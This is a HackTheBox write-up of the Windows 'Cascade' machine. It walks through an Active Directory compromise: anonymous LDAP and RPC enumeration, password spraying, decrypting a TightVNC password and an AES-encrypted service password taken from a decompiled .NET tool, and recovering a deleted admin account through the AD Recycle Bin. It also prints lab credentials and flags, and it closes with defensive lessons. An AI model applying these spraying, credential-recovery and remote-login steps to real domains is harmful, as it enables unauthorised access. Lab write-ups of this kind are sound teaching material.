the_open_door
coffee
ESEN

Cascade

HackTheBoxMediumWindows10.10.10.182

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#active-directory#ldap-leak#cascadelegacypwd#vnc-password#des-cbc#dotnet-reversing#dotpeek#aes-cbc#ad-recycle-bin#password-reuse#smb-enumeration
TL;DR. Cascade is a classic Active Directory box that chains information leaks and credential decryption, with no memory exploit at all. Unauthenticated LDAP leaks the (Base64-encoded) password of r.thompson; their SMB access uncovers an email betraying a TempAdmin account with the same password as Administrator, and a VNC Install.reg whose TightVNC password we decrypt (DES-CBC with a fixed key) to log in as s.smith. An Audit$ share hides a .NET binary (CascAudit.exe) that we decompile with dotPeek: it uses AES-CBC with an embedded key and IV, giving us the password of ArkSvc. That account is in the AD Recycle Bin group, so we recover the deleted TempAdmin object and, with its reused password, log in as Administrator.

Reconnaissance

Initial scan

ping comes back with ttl=127, one hop below the 128 typical of Windows, so it points to Windows (a hint, not proof).

ping -c 1 10.10.10.182

Ping reply with TTL 127

64 bytes from 10.10.10.182: icmp_seq=1 ttl=127 time=38.5 ms

The UDP sweep returns the usual domain-controller trio: DNS (53), NTP (123) and LDAP (389).

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 1000 10.10.10.182

UDP scan with DNS, NTP and LDAP

PORT    STATE SERVICE
53/udp  open  domain
123/udp open  ntp
389/udp open  ldap

The full TCP scan confirms the Active Directory picture (Kerberos, LDAP, SMB, RPC, WinRM).

sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.10.182 -oG scan

Full TCP scan with the Active Directory ports

[+] Introduce una IP
10.10.10.182

Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-16 17:52 UTC
Initiating SYN Stealth Scan at 17:52
Scanning 10.10.10.182 [65535 ports]
Discovered open port 139/tcp on 10.10.10.182
Discovered open port 135/tcp on 10.10.10.182
Discovered open port 53/tcp on 10.10.10.182
Discovered open port 445/tcp on 10.10.10.182
Discovered open port 88/tcp on 10.10.10.182
Discovered open port 49155/tcp on 10.10.10.182
Discovered open port 49165/tcp on 10.10.10.182
Discovered open port 49154/tcp on 10.10.10.182
Discovered open port 3268/tcp on 10.10.10.182
Discovered open port 636/tcp on 10.10.10.182
Discovered open port 49157/tcp on 10.10.10.182
Discovered open port 3269/tcp on 10.10.10.182
Discovered open port 5985/tcp on 10.10.10.182
Discovered open port 389/tcp on 10.10.10.182

And extractPorts boils that -oG file down, leaving the full list on the clipboard:

extractPorts scan

extractPorts boils the scan down: IP 10.10.10.182 and the full battery of open ports of a domain controller

Extracting information ...
IP Address: 10.10.10.182
Open ports: 53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165

Ports copied to clipboard

With -vvv the output adds the REASON column, and there ttl 127 repeats on every port: the same hint as the ping, but now confirmed thirteen times by the TCP stack instead of by a single ICMP packet.

Open ports with the REASON column and ttl 127

PORT      STATE SERVICE        REASON
53/tcp    open  domain         syn-ack ttl 127
88/tcp    open  kerberos-sec   syn-ack ttl 127
135/tcp   open  msrpc          syn-ack ttl 127
139/tcp   open  netbios-ssn    syn-ack ttl 127
389/tcp   open  ldap           syn-ack ttl 127
445/tcp   open  microsoft-ds   syn-ack ttl 127
636/tcp   open  ldapssl        syn-ack ttl 127
3268/tcp  open  globalcatLDAP  syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman          syn-ack ttl 127
49154/tcp open  unknown        syn-ack ttl 127
49155/tcp open  unknown        syn-ack ttl 127
49157/tcp open  unknown        syn-ack ttl 127
49158/tcp open  unknown        syn-ack ttl 127
49165/tcp open  unknown        syn-ack ttl 127

Nmap done: 1 IP address (1 host up) scanned in 66.17 seconds
           Raw packets sent: 327664 (14.417MB) | Rcvd: 65 (2.860KB)

The five high ports 49154-49165 are not an exotic service: they are the RPC dynamic range, where the port mapper on 135 hands out the real endpoints. They show up on any domain controller and they are the reason rpcclient works later on.

A second scan with version detection places the system on Windows Server 2008 R2.

nmap -p 53,88,135,139,389,445,636,3268,5985 -sCV 10.10.10.182

Version detection with nmap -sCV

53/tcp   open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-12-16 17:53:33Z)
135/tcp  open  msrpc         Microsoft Windows RPC
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1

SMB - TCP 445

An SMB query with netexec gives us the host name (CASC-DC1), the domain (cascade.local) and the OS. We add it to /etc/hosts.

netexec smb 10.10.10.182

netexec reveals CASC-DC1 and the cascade.local domain

SMB  10.10.10.182  445  CASC-DC1  [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)

We add both entries to /etc/hosts, the FQDN and the bare domain. Not cosmetic: Kerberos and LDAP resolve by name, and a good share of the tools coming next break if the domain does not resolve.

echo '10.10.10.182  CASC-DC1.cascade.local  cascade.local' >> /etc/hosts

cascade.local entry in /etc/hosts

DNS - TCP 53

We try a zone transfer, but it fails and DNS enumeration adds no new names.

dig axfr cascade.local @10.10.10.182

The DNS zone transfer fails

# dig axfr cascade.local @10.10.10.182
; <<>> DiG 9.20.15-2-Debian <<>> axfr cascade.local @10.10.10.182
;; global options: +cmd
; Transfer failed.

SMB without credentials: session yes, shares no

Before RPC we try the cheap thing: listing shares with no credentials. The answer is worth reading carefully, because it is not a plain failure.

netexec smb 10.10.10.182 -u '' -p '' --shares

The null session is established but share enumeration returns STATUS_ACCESS_DENIED

SMB  10.10.10.182  445  CASC-DC1  [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1)
SMB  10.10.10.182  445  CASC-DC1  [+] cascade.local\:
SMB  10.10.10.182  445  CASC-DC1  [-] Error enumerating shares: STATUS_ACCESS_DENIED

The [+] on the second line says the null session is established, and the STATUS_ACCESS_DENIED on the third says that session has no permission to list shares. Those are two different things: anonymous authentication works, what is missing is authorization. That nuance is exactly what makes it worth pushing through another channel, since a server accepting the null session usually exposes something over some interface even if not this one.

smbmap tells the same story from another angle, both anonymously and as guest:

smbmap -H 10.10.10.182 -u '' -p ''
smbmap -H 10.10.10.182 -u 'guest' -p ''

smbmap denies access with a null session and with guest

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[!] Access denied on 10.10.10.182, no fun for you...

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Access denied on 10.10.10.182, no fun for you...

The difference between 1 authenticated session(s) anonymously and 0 as guest confirms the reading above: the guest account is disabled, while the null session does get in.

RPC - TCP 135

SMB lists no shares, but RPC does let us enumerate the domain users with rpcclient. We save the list to userlist.txt.

rpcclient -U "" cascade.local -N -c enumdomusers | grep -oP '\[(.*?)\]' | grep -v 0x | tr -d '[]' > userlist.txt

rpcclient enumerates the domain users

CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft

Password spraying with the list itself (fails)

With fifteen names, the first free attempt is the classic "username as password": the same list as both the user and the password dictionary. The grep -v filters out the failures so only hits remain.

netexec smb cascade.local -u userlist.txt -p userlist.txt | grep -v 'STATUS_LOGON_FAILURE' 2>/dev/null

The spray leaves no hit line after filtering out the failures

SMB  10.10.10.182  445  CASC-DC1  [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local)

Only the banner line is left: not a single [+]. The empty output is the result, and it is worth showing rather than summarising it as "it did not work", because it is what justifies the next step. One lab caveat: we fire 225 attempts here without a second thought because we know there is no lockout policy. Against a real domain, a blind spray that size locks accounts and lights up every alarm; you check the policy first (--pass-pol) and then send one attempt per user per window.

Auth as r.thompson

LDAP: cascadeLegacyPwd leak

An unauthenticated LDAP query can read directory attributes. Filtering by password fields, a non-standard attribute shows up, cascadeLegacyPwd, on the r.thompson object.

ldapsearch -x -H ldap://10.10.10.182 -b "DC=cascade,DC=local" | grep -iE 'pwd|userprincipalname'

ldapsearch leaks the cascadeLegacyPwd attribute of r.thompson

userPrincipalName: r.thompson@cascade.local
cascadeLegacyPwd: clk0bjVldmE=

The value looks like Base64. We decode it:

echo -n 'clk0bjVldmE=' | base64 -d
rY4n5eva

Validate the credential

A spray with that password over the whole user list confirms it is valid only for r.thompson. WinRM is not allowed for this account, so we fall back to SMB.

netexec smb 10.10.10.182 -u userlist.txt -p 'rY4n5eva' --continue-on-success

The password validates only for r.thompson

SMB  10.10.10.182  445  CASC-DC1  [-] cascade.local\administrator:rY4n5eva STATUS_LOGON_FAILURE
SMB  10.10.10.182  445  CASC-DC1  [-] cascade.local\arksvc:rY4n5eva STATUS_LOGON_FAILURE
SMB  10.10.10.182  445  CASC-DC1  [-] cascade.local\s.smith:rY4n5eva STATUS_LOGON_FAILURE
SMB  10.10.10.182  445  CASC-DC1  [+] cascade.local\r.thompson:rY4n5eva
SMB  10.10.10.182  445  CASC-DC1  [-] cascade.local\util:rY4n5eva STATUS_LOGON_FAILURE
...

Now to check where that credential works. WinRM rejects it:

netexec winrm 10.10.10.182 -u r.thompson -p 'rY4n5eva' 2>/dev/null

WinRM rejects r.thompson despite the credential being valid

WINRM  10.10.10.182  5985  CASC-DC1  [*] Windows 7 / Server 2008 R2 Build 7601 (name:CASC-DC1) (domain:cascade.local)
WINRM  10.10.10.182  5985  CASC-DC1  [-] cascade.local\r.thompson:rY4n5eva

The password is right, but membership in Remote Management Users, which is what enables WinRM, is missing. A valid credential is not access: you have to try it service by service, and what stays open here is SMB.

The Data share

As r.thompson we enumerate shares again: one named Data is readable.

netexec smb cascade.local -u 'r.thompson' -p 'rY4n5eva' --shares

The Data share is readable for r.thompson

Share     Permissions  Remark
ADMIN$
Audit$
C$                     Default share
Data      READ
IPC$                   Remote IPC
NETLOGON  READ         Logon server share
print$    READ         Printer Drivers
SYSVOL    READ         Logon server share

We connect and list the root. There are five folders, and four of the five are denied.

smbclient //10.10.10.182/data -U 'r.thompson%rY4n5eva'

Four of the five folders in Data return NT_STATUS_ACCESS_DENIED

smb: \> dir
  Contractors      D  0  Mon Jan 27 03:27:34 2020
  Finance          D  0  Mon Jan 13 01:45:06 2020
  IT               D  0  Tue Jan 28 18:04:51 2020
  Production       D  0  Mon Jan 13 01:45:18 2020
  Temps            D  0  Mon Jan 13 01:45:15 2020

smb: \> cd Contractors
smb: \Contractors\> dir
NT_STATUS_ACCESS_DENIED listing \Contractors\*
smb: \> cd Finance
NT_STATUS_ACCESS_DENIED listing \Finance\*
smb: \> cd Production
NT_STATUS_ACCESS_DENIED listing \Production\*
smb: \> cd Temps
NT_STATUS_ACCESS_DENIED listing \Temps\*

A share showing up as READ in the --shares table only speaks about the share permission, not about each folder inside it. Here the filesystem ACLs let exactly one through: IT, consistent with r.thompson being in the IT department. It pays to try folder by folder instead of trusting the first table.

Inside IT there are four subdirectories, and the first one already pays off: Email Archives holds a 2522-byte Meeting_Notes_June_2018.html.

smb: \IT\> dir
  Email Archives   D  0  Tue Jan 28 18:00:30 2020
  LogonAudit       D  0  Tue Jan 28 18:04:40 2020
  Logs             D  0  Wed Jan 29 00:53:04 2020
  Temp             D  0  Tue Jan 28 22:06:59 2020

smb: \IT\Email Archives\> dir
  Meeting_Notes_June_2018.html   An  2522  Tue Jan 28 18:00:12 2020

smb: \IT\Email Archives\> get Meeting_Notes_June_2018.html
getting file \IT\Email Archives\Meeting_Notes_June_2018.html of size 2522 as Meeting_Notes_June_2018.html

Listing of IT and download of the archived email

Opened in a browser, the email betrays the detail that changes everything: a temporary account TempAdmin was created with the same password as the admin account, to be deleted once the migration was done. We note it and move on, because we still have no way to use it.

Email revealing the TempAdmin account with the Administrator's password

We keep going through the rest. LogonAudit is empty, but IT\Temp has a folder per user, and s.smith's holds a 2680-byte VNC Install.reg.

smb: \IT\Temp\> dir
  r.thompson   D  0  Tue Jan 28 22:06:53 2020
  s.smith      D  0  Tue Jan 28 20:00:01 2020

smb: \IT\Temp\> dir s.smith\
  VNC Install.reg   A  2680  Tue Jan 28 19:27:44 2020

smb: \IT\Temp\> get s.smith\"VNC Install.reg"
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as s.smith\VNC Install.reg

The s.smith folder contains VNC Install.reg

Logs is left, and there is something there that means nothing right now and later means everything: a directory called Ark AD Recycle Bin with an ArkAdRecycleBin.log, next to the controller's dcdiag.log.

smb: \IT\Logs\> dir
  Ark AD Recycle Bin   D  0  Fri Jan 10 16:33:45 2020
  DCs                  D  0  Wed Jan 29 00:56:00 2020

smb: \IT\Logs\DCs\> get dcdiag.log
getting file \IT\Logs\DCs\dcdiag.log of size 5967 as dcdiag.log
smb: \IT\Logs\Ark AD Recycle Bin\> get ArkAdRecycleBin.log
getting file \IT\Logs\Ark AD Recycle Bin\ArkAdRecycleBin.log of size 1303 as ArkAdRecycleBin.log

The Logs directory contains Ark AD Recycle Bin

That folder name already carries both pieces of the final escalation, "Ark" (for ArkSvc) and "AD Recycle Bin", and we are reading it with the very first credential of the box. It is the best argument for pulling a whole share and going through it calmly: the hint for the last pivot was available from the first one.

With the files local, we inspect them. VNC Install.reg stores the TightVNC server password in hexadecimal.

cat 's.smith/VNC Install.reg'

VNC Install.reg with the TightVNC password in hex

"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f

Shell as s.smith

Decrypting the TightVNC password

The first instinct is to treat the hex as encoded text and reverse it with xxd.

echo -n 6bcf2a4b6e5aca0f | xxd -r -p

Converting hex to text returns unreadable bytes

k?*KnZ?

Eight unreadable bytes come out, and that is already information: if it were a password stored in hex, reversing it would produce printable ASCII. That it does not means the hex is not an encoding of the password but of its encrypted form. It is exactly 8 bytes, the size of a DES block.

VNC does not store the password in clear text: it encrypts it with DES in CBC mode using a fixed, well-known key, the same one for every installation. It is documented, along with the one-line openssl that exploits it:

VNCDecrypt README with the fixed key e84ad660c4721ae0

That key, e84ad660c4721ae0, belongs neither to this machine nor to this user: it ships with the product. So the hex blob is enough to recover the password offline, without touching the target.

echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d -provider legacy -provider default | hexdump -Cv

openssl decrypts the TightVNC password: sT333ve2

00000000  73 54 33 33 33 76 65 32                           |sT333ve2|

The s.smith password is sT333ve2, and this time WinRM does answer (Pwn3d!).

evil-winrm -i 10.10.10.182 -u 's.smith' -p 'sT333ve2'

evil-winrm shell as s.smith

Evil-WinRM shell v3.9
*Evil-WinRM* PS C:\Users\s.smith\Documents> whoami
cascade\s.smith

user.txt

type ..\desktop\user.txt

user.txt read as s.smith

294259912ea7f8da6488be6a7efea875

Shell as ArkSvc

The Audit$ share

As s.smith we gain access to a new share, Audit$, holding a program structure: CascAudit.exe, CascCrypto.dll, a database at DB\Audit.db and SQLite libraries. We download it all for offline analysis.

netexec smb 10.10.10.182 -u s.smith -p 'sT333ve2' --shares
smbclient //10.10.10.182/"Audit$" -U 's.smith%sT333ve2'

The Audit$ share with CascAudit.exe and the database

smb: \> dir
  .                              D        0  Wed Jan 29 18:01:26 2020
  ..                             D        0  Wed Jan 29 18:01:26 2020
  CascAudit.exe                 An    13312  Tue Jan 28 21:46:51 2020
  CascCrypto.dll                An    12288  Wed Jan 29 18:00:20 2020
  DB                             D        0  Tue Jan 28 21:40:59 2020
  RunAudit.bat                   A       45  Tue Jan 28 23:29:47 2020
  System.Data.SQLite.dll         A   363520  Sun Oct 27 06:38:36 2019
  System.Data.SQLite.EF6.dll     A   186880  Sun Oct 27 06:38:38 2019
  x64                            D        0  Sun Jan 26 22:25:27 2020
  x86                            D        0  Sun Jan 26 22:25:27 2020

Rather than going file by file, we pull the whole tree. recurse ON descends into subdirectories and prompt OFF drops the per-file confirmation, which is what makes mget * usable.

recurse ON
prompt OFF
mget *

Full recursive download of the Audit$ share

getting file \CascAudit.exe of size 13312 as CascAudit.exe
getting file \CascCrypto.dll of size 12288 as CascCrypto.dll
getting file \RunAudit.bat of size 45 as RunAudit.bat
getting file \System.Data.SQLite.dll of size 363520 as System.Data.SQLite.dll
getting file \System.Data.SQLite.EF6.dll of size 186880 as System.Data.SQLite.EF6.dll
getting file \DB\Audit.db of size 24576 as DB/Audit.db
getting file \x64\SQLite.Interop.dll of size 1639936 as x64/SQLite.Interop.dll
getting file \x86\SQLite.Interop.dll of size 1246720 as x86/SQLite.Interop.dll

The SQLite database

file confirms Audit.db is a SQLite 3.x database, so we open it and list the tables: there are three, DeletedUserAudit, Ldap and Misc.

file Audit.db
sqlite3 Audit.db

The DeletedUserAudit and Ldap tables of Audit.db

sqlite> .tables
DeletedUserAudit  Ldap  Misc

sqlite> SELECT * FROM DeletedUserAudit;
6|test|Test
DEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d|CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local
7|deleted|deleted guy
DEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef|CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local
9|TempAdmin|TempAdmin
DEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a|CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local

sqlite> SELECT * FROM Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local

sqlite> SELECT * FROM Misc;

The DeletedUserAudit table is the second half of the hint: there sits TempAdmin, the account from the email, with its full distinguishedName under CN=Deleted Objects,DC=cascade,DC=local. The deleted-objects container appears written down, name and path, long before we have permission to query it. Between this, the email and the Ark AD Recycle Bin folder on the Data share, the box has now telegraphed its ending three times.

The Ldap table holds the password of ArkSvc, looking like Base64. Decoding it yields gibberish, so, just like with VNC, this is not encoding but encryption.

echo -n 'BQO5l5Kj9MdErXx6Q6AGOw==' | base64 -d

Reversing CascAudit.exe with dotPeek

RunAudit.bat confirms CascAudit.exe consumes that database. The binary's strings already leak a key and a decryption error message.

strings -e l CascAudit.exe

CascAudit.exe strings reveal the key c4scadek3y654321

CascAudiot.Resources
Data Source=
SELECT * FROM LDAP
c4scadek3y654321
Error decrypting password:

The string c4scadek3y654321 is 16 characters long, exactly a 128-bit AES key, and the error message confirms the binary decrypts passwords. But strings says nothing about the algorithm or the mode, so we have to open it up.

Since it is a .NET binary, we decompile it with dotPeek, JetBrains' free decompiler, which only runs on Windows. It gets downloaded first on the lab's Windows 10 machine:

dotPeek's download page on jetbrains.com with the JetBrains.dotPeek.2025.3.0.4.web.exe installer at 64.9 MB already downloaded

Then the binaries have to travel: an HTTP server goes up in the directory holding them and they get pulled from the Windows browser.

python3 -m http.server 80

the http.server brought up in the audit directory, where the binaries downloaded from the share live

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

the http.server's directory listing seen from the Windows box, with CascAudit.exe, CascCrypto.dll, DB, RunAudit.bat and the SQLite DLLs, and CascAudit.exe already downloaded

Directory listing for /

CascAudit.exe
CascCrypto.dll
DB/
RunAudit.bat
System.Data.SQLite.dll
System.Data.SQLite.EF6.dll
x64/
x86/

The binaries downloaded onto the Windows machine from the HTTP server

It matters to grab the DLLs too, not just the .exe: the cipher is not in CascAudit.exe.

The .exe only orchestrates. The real cipher lives in CascCrypto.dll: the Crypto class uses AES in CBC mode and, besides the key, carries the IV embedded (DefaultIV = "1tdyjCbY1Ix49842").

dotPeek shows CascCrypto using AES-CBC with an embedded IV

That gives us the four pieces we need, each one pulled from a different place:

The four pieces: algorithm, blob, IV and key

Alg  -> AES.CBC                    (dotPeek, CascCrypto.dll)
Pass -> BQO5l5Kj9MdErXx6Q6AGOw==   (Ldap table in Audit.db)
IV   -> 1tdyjCbY1Ix49842           (dotPeek, DefaultIV)
KEY  -> c4scadek3y654321           (strings of CascAudit.exe)

Here is the heart of it: AES-CBC is solid encryption, and it makes no difference. The program has to decrypt the password with no human involved, so the key and the IV must ship inside the artifact itself. Anyone who can read the binary can read the key. This is not a flaw in AES, it is a threat model that does not close.

We run the blob through CyberChef (From Base64 → AES Decrypt, key c4scadek3y654321, IV 1tdyjCbY1Ix49842, CBC mode):

CyberChef decrypts the ArkSvc password: w3lc0meFr31nd

The ArkSvc password is w3lc0meFr31nd, valid on SMB and WinRM.

netexec smb 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'
netexec winrm 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'

netexec confirms ArkSvc with (Pwn3d!) on WinRM

SMB    10.10.10.182  445   CASC-DC1  [+] cascade.local\ArkSvc:w3lc0meFr31nd
WINRM  10.10.10.182  5985  CASC-DC1  [+] cascade.local\ArkSvc:w3lc0meFr31nd (Pwn3d!)

Shell as Administrator

AD Recycle Bin: recovering TempAdmin

With a shell, we enumerate ArkSvc's groups. Here is the reason for the last pivot: the account belongs to the AD Recycle Bin group.

evil-winrm -i 10.10.10.182 -u 'ArkSvc' -p 'w3lc0meFr31nd'
# whoami /all

ArkSvc belongs to the CASCADE\AD Recycle Bin group

*Evil-WinRM* PS C:\Users\arksvc\Documents> whoami /all

GROUP INFORMATION
-----------------
Group Name                       Type   SID
===============================  =====  ==============================================
CASCADE\Data Share               Alias  S-1-5-21-3332504370-1206983947-1165150453-1138
CASCADE\IT                       Alias  S-1-5-21-3332504370-1206983947-1165150453-1113
CASCADE\AD Recycle Bin           Alias  S-1-5-21-3332504370-1206983947-1165150453-1119
CASCADE\Remote Management Users  Alias  S-1-5-21-3332504370-1206983947-1165150453-1126

That group can read the domain's deleted objects with all their attributes. And we remember the email: a TempAdmin account existed with the Administrator password, later deleted. We query the recycle bin with Get-ADObject:

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Get-ADObject lists the deleted objects container

CanonicalName     : cascade.local/Deleted Objects
CN                : Deleted Objects
Deleted           : True
Description       : Default container for deleted objects
DistinguishedName : CN=Deleted Objects,DC=cascade,DC=local
isDeleted         : True
Name              : Deleted Objects
ObjectClass       : container

Among the deleted objects is TempAdmin, and it still keeps its cascadeLegacyPwd:

The deleted TempAdmin object keeps its cascadeLegacyPwd

cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN               : TempAdmin

We decode the Base64 and, as the email anticipated, that password is also the Administrator one (credential reuse across accounts: a recovered key is tried on every account, since sharing them is common):

echo -n 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
evil-winrm -i 10.10.10.182 -u 'Administrator' -p 'baCT3r1aN00dles'

Decoding TempAdmin and shell as Administrator

# echo -n 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles

WINRM  10.10.10.182  5985  CASC-DC1  [+] cascade.local\Administrator:baCT3r1aN00dles
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
cascade\administrator

root.txt

type ..\desktop\root.txt

root.txt read as Administrator

292016f0790feea704fb4c076243df0c

Domain compromised. Box rooted.

Attack chain

The whole path, from unauthenticated LDAP to the Administrator password, at a glance:

anonymous LDAP  ─►  cascadeLegacyPwd (Base64)  ─►  r.thompson
  │  SMB share "Data": email (TempAdmin = Admin pass) + VNC Install.reg
  ▼
VNC password (DES-CBC, fixed key)  ─►  s.smith   ─►  WinRM  ─►  user.txt
  │  SMB share "Audit$": CascAudit.exe + Audit.db (encrypted ArkSvc)
  ▼
dotPeek: AES-CBC (embedded key + IV)  ─►  ArkSvc   ─►  WinRM
  │  AD Recycle Bin group  ─►  Get-ADObject (deleted TempAdmin object)
  ▼
TempAdmin = Administrator (reused password)  ─►  WinRM  ─►  root.txt

Lessons learned

  • Unauthenticated LDAP is a leak, not a footnote. Reading the directory without credentials should never expose passwords; here a custom attribute (cascadeLegacyPwd) stored the user's password in Base64, which is encoding, not encryption. Secrets do not belong in directory attributes, and anonymous read access to LDAP must be restricted.
  • "Home-made" encryption with a fixed key protects nothing. TightVNC encrypts its password with DES and a known key, identical across every installation; CascAudit.exe uses AES-CBC but with the key and IV embedded in the binary itself. In both cases, having the encrypted data is the same as having it in clear. The key must live outside the artifact (a secret store, per-install salted derivation).
  • The AD Recycle Bin group is a privileged group. Its members read deleted objects with all their attributes, so a "deleted" secret is still there. Treat its membership like that of any group with power over the domain: minimal and audited. See the AD Recycle Bin abuse.
  • What looks like surplus during enumeration is the hint for the ending. The route to Administrator was announced three times before we could walk it: the Meeting_Notes_June_2018.html email, the IT\Logs\Ark AD Recycle Bin folder and the DeletedUserAudit table with TempAdmin's distinguishedName. None of them was actionable when found. It pays to write down whatever does not fit yet, because the datum that is useless at step two is often the one that closes step five.
  • Reusing passwords across accounts is costly. Deleting TempAdmin did not strip its password from the recycle bin, and by sharing it with Administrator, recovering it was the final link. Temporary privileged accounts must have unique passwords and, better, be truly purged (the recycle bin keeps the attribute).
Command cheatsheet 26 commands

Quick review